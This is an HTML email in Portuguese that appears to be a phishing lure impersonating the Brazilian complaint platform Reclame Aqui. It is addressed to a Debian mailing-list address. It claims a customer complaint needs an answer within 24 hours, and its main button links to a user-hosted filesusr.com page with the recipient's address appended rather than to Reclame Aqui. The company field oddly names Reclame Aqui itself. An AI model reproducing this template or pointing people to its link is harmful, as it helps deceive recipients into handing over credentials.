<!DOCTYPE html>
<html lang="pt-BR">
<head>
  <!-- Meta Tags -->
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="x-apple-disable-message-reformatting">
  <meta name="format-detection" content="telephone=no, date=no, address=no, email=no">
  
  <title>Nova Manifestação de Cliente – Reclame Aqui</title>
  
  <!-- Estilos -->
  <style type="text/css">
    /* Importação de fontes */
    @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');

    /* Reset e estilos base */
    body, table, td, a {
      -webkit-text-size-adjust: 100%;
      -ms-text-size-adjust: 100%;
    }

    table, td {
      mso-table-lspace: 0pt;
      mso-table-rspace: 0pt;
      border-collapse: collapse;
    }

    body {
      margin: 0 !important;
      padding: 0 !important;
      width: 100% !important;
      background-color: #F0F2F0;
      font-family: 'Inter', Arial, sans-serif;
    }

    /* Media queries para mobile */
    @media only screen and (max-width: 600px) {
      .email-wrapper {
        width: 100% !important;
        border-radius: 0 !important;
      }

      .inner-td {
        padding: 28px 20px !important;
      }

      .logo-td {
        padding: 24px 20px !important;
      }

      .footer-td {
        padding: 20px !important;
      }

      .headline {
        font-size: 22px !important;
      }

      .cta-btn {
        display: block !important;
        text-align: center !important;
        padding: 16px 20px !important;
      }

      .field-row {
        display: block !important;
        width: 100% !important;
      }

      .field-cell {
        display: block !important;
        width: 100% !important;
        padding-right: 0 !important;
        padding-bottom: 16px !important;
      }

      .field-cell-last {
        display: block !important;
        width: 100% !important;
      }

      .badge-td {
        padding: 20px 20px 0 !important;
      }

      .outer-td {
        padding: 20px 0 !important;
      }
    }
  </style>
</head>

<body style="margin: 0; padding: 0; background-color: #F0F2F0;">
  <!-- Container externo -->
  <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" style="background-color: #F0F2F0;">
    <tr>
      <td class="outer-td" align="center" style="padding: 40px 12px;">
        <!-- Email wrapper principal -->
        <table class="email-wrapper" role="presentation" border="0" cellpadding="0" cellspacing="0" width="600" style="max-width: 600px; border-radius: 16px; overflow: hidden; box-shadow: 0 4px 24px rgba(0,0,0,0.08);">
          
          <!-- Barra superior verde -->
          <tr>
            <td height="4" style="background: linear-gradient(90deg, #007a3d 0%, #8AB400 100%); font-size: 0; line-height: 0;"> </td>
          </tr>

          <!-- Header com logo e badge -->
          <tr>
            <td class="logo-td" bgcolor="#FFFFFF" style="background-color: #FFFFFF; padding: 28px 40px 24px; border-bottom: 1px solid #EAEDE8;">
              <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tr>
                  <!-- Logo e subtítulo -->
                  <td valign="middle">
                    <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 22px; font-weight: 700; color: #007a3d; letter-spacing: -0.5px;">
                      Reclame<span style="color: #8AB400;">AQUI</span>
                    </p>
                    <p style="margin: 4px 0 0; font-family: 'Inter', Arial, sans-serif; font-size: 10px; letter-spacing: 2.5px; text-transform: uppercase; color: #9CA3AF;">
                      Central de Atendimento
                    </p>
                  </td>
                  
                  <!-- Badge de prazo -->
                  <td align="right" valign="middle">
                    <table role="presentation" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td style="background-color: #F0FBF4; border: 1px solid #6EE7A0; border-radius: 20px; padding: 6px 14px;">
                          <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 11px; font-weight: 600; color: #15803D; text-transform: uppercase; letter-spacing: 1px; white-space: nowrap;">
                            ● Prazo: 24 horas
                          </p>
                        </td>
                      </tr>
                    </table>
                  </td>
                </tr>
              </table>
            </td>
          </tr>

          <!-- Corpo principal -->
          <tr>
            <td class="inner-td" bgcolor="#FFFFFF" style="padding: 36px 40px 32px; background-color: #FFFFFF;">
              
              <!-- Alerta de manifestação -->
              <table role="presentation" border="0" cellpadding="0" cellspacing="0" style="margin-bottom: 24px;">
                <tr>
                  <td style="background-color: #F0FBF4; border-radius: 8px; padding: 8px 14px; border-left: 3px solid #007a3d;">
                    <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 12px; font-weight: 600; color: #15803D;">
                      Nova manifestação registrada na plataforma
                    </p>
                  </td>
                </tr>
              </table>

              <!-- Título principal -->
              <p class="headline" style="margin: 0 0 10px; font-family: 'Inter', Arial, sans-serif; font-size: 26px; font-weight: 700; color: #111827; line-height: 1.25; letter-spacing: -0.5px;">
                Ação necessária<br>na sua conta
              </p>

              <!-- Descrição -->
              <p style="margin: 0 0 28px; font-family: 'Inter', Arial, sans-serif; font-size: 15px; color: #6B7280; line-height: 1.75;">
                Um consumidor registrou uma manifestação direcionada à sua empresa. Analise o conteúdo e registre sua resposta dentro do prazo para proteger sua reputação na plataforma.
              </p>

              <!-- Botão CTA -->
              <table role="presentation" border="0" cellpadding="0" cellspacing="0" style="margin-bottom: 36px;">
                <tr>
                  <td>
                    <a class="cta-btn" href="https://628731.filesusr.com/html/65527f_61201f5c0b9d1796ad193369f2cbe790.html?debian-science-maintainers@lists.alioth.debian.org" target="_blank" rel="noopener noreferrer" style="display: inline-block; background-color: #007a3d; color: #FFFFFF; font-family: 'Inter', Arial, sans-serif; font-size: 14px; font-weight: 600; letter-spacing: 0.3px; text-decoration: none; padding: 14px 30px; border-radius: 8px;">
                      Ver Manifestação →
                    </a>
                  </td>
                </tr>
              </table>

              <!-- Divisor -->
              <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" style="margin-bottom: 24px;">
                <tr>
                  <td height="1" bgcolor="#EAEDE8" style="font-size: 0; line-height: 0;"> </td>
                </tr>
              </table>

              <!-- Título da seção de detalhes -->
              <p style="margin: 0 0 14px; font-family: 'Inter', Arial, sans-serif; font-size: 10px; letter-spacing: 2px; text-transform: uppercase; color: #9CA3AF; font-weight: 600;">
                Detalhes do Registro
              </p>

              <!-- Card com detalhes -->
              <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" bgcolor="#F9FAF8" style="background-color: #F9FAF8; border-radius: 10px; border: 1px solid #EAEDE8;">
                <tr>
                  <td style="padding: 22px;">
                    
                    <!-- Linha 1: Empresa + Email -->
                    <table class="field-row" role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" style="margin-bottom: 18px;">
                      <tr>
                        <td class="field-cell" style="width: 50%; padding-right: 16px; vertical-align: top;">
                          <p style="margin: 0 0 3px; font-family: 'Inter', Arial, sans-serif; font-size: 10px; color: #9CA3AF; text-transform: uppercase; letter-spacing: 1px;">Empresa</p>
                          <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 14px; color: #111827; font-weight: 600;">Reclame Aqui</p>
                        </td>
                        <td class="field-cell-last" style="width: 50%; vertical-align: top;">
                          <p style="margin: 0 0 3px; font-family: 'Inter', Arial, sans-serif; font-size: 10px; color: #9CA3AF; text-transform: uppercase; letter-spacing: 1px;">E-mail</p>
                          <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 14px; color: #111827; font-weight: 600;">debian-science-maintainers@lists.alioth.debian.org</p>
                        </td>
                      </tr>
                    </table>

                    <!-- Divisor interno -->
                    <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" style="margin-bottom: 18px;">
                      <tr>
                        <td height="1" bgcolor="#EAEDE8" style="font-size: 0; line-height: 0;"> </td>
                      </tr>
                    </table>

                    <!-- Linha 2: CNPJ -->
                    <table class="field-row" role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" style="margin-bottom: 18px;">
                      <tr>
                        <td class="field-cell-last" style="vertical-align: top;">
                          <p style="margin: 0 0 3px; font-family: 'Inter', Arial, sans-serif; font-size: 10px; color: #9CA3AF; text-transform: uppercase; letter-spacing: 1px;">CNPJ</p>
                          <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 14px; color: #111827; font-weight: 600;">[CNPJ PROTEGIDO]</p>
                        </td>
                      </tr>
                    </table>

                    <!-- Divisor interno -->
                    <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%" style="margin-bottom: 18px;">
                      <tr>
                        <td height="1" bgcolor="#EAEDE8" style="font-size: 0; line-height: 0;"> </td>
                      </tr>
                    </table>

                    <!-- Linha 3: Data + Protocolo -->
                    <table class="field-row" role="presentation" border="0" cellpadding="0" cellspacing="0" width="100%">
                      <tr>
                        <td class="field-cell" style="width: 50%; padding-right: 16px; vertical-align: top;">
                          <p style="margin: 0 0 3px; font-family: 'Inter', Arial, sans-serif; font-size: 10px; color: #9CA3AF; text-transform: uppercase; letter-spacing: 1px;">Data</p>
                          <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 14px; color: #111827; font-weight: 600;">29/07/2026</p>
                        </td>
                        <td class="field-cell-last" style="width: 50%; vertical-align: top;">
                          <p style="margin: 0 0 3px; font-family: 'Inter', Arial, sans-serif; font-size: 10px; color: #9CA3AF; text-transform: uppercase; letter-spacing: 1px;">Protocolo</p>
                          <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 14px; color: #007a3d; font-weight: 700; letter-spacing: 0.5px;">2026.5744.175-63</p>
                        </td>
                      </tr>
                    </table>

                  </td>
                </tr>
              </table>

            </td>
          </tr>

          <!-- Rodapé -->
          <tr>
            <td class="footer-td" bgcolor="#F9FAF8" style="background-color: #F9FAF8; border-top: 1px solid #EAEDE8; padding: 20px 40px;">
              <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 12px; color: #9CA3AF; line-height: 1.6; text-align: center;">
                Esta é uma mensagem automática gerada pela plataforma Reclame Aqui.<br>
                Por favor, não responda diretamente a este e-mail.
              </p>
            </td>
          </tr>

          <!-- Barra inferior verde -->
          <tr>
            <td height="4" style="background: linear-gradient(90deg, #007a3d 0%, #8AB400 100%); font-size: 0; line-height: 0;"> </td>
          </tr>

        </table>

        <!-- Copyright -->
        <table role="presentation" border="0" cellpadding="0" cellspacing="0" width="600" style="max-width: 600px;">
          <tr>
            <td align="center" style="padding: 18px 20px;">
              <p style="margin: 0; font-family: 'Inter', Arial, sans-serif; font-size: 11px; color: #9CA3AF;">
                © 2026 Reclame Aqui. Todos os direitos reservados.
              </p>
            </td>
          </tr>
        </table>

      </td>
    </tr>
  </table>

</body>
</html>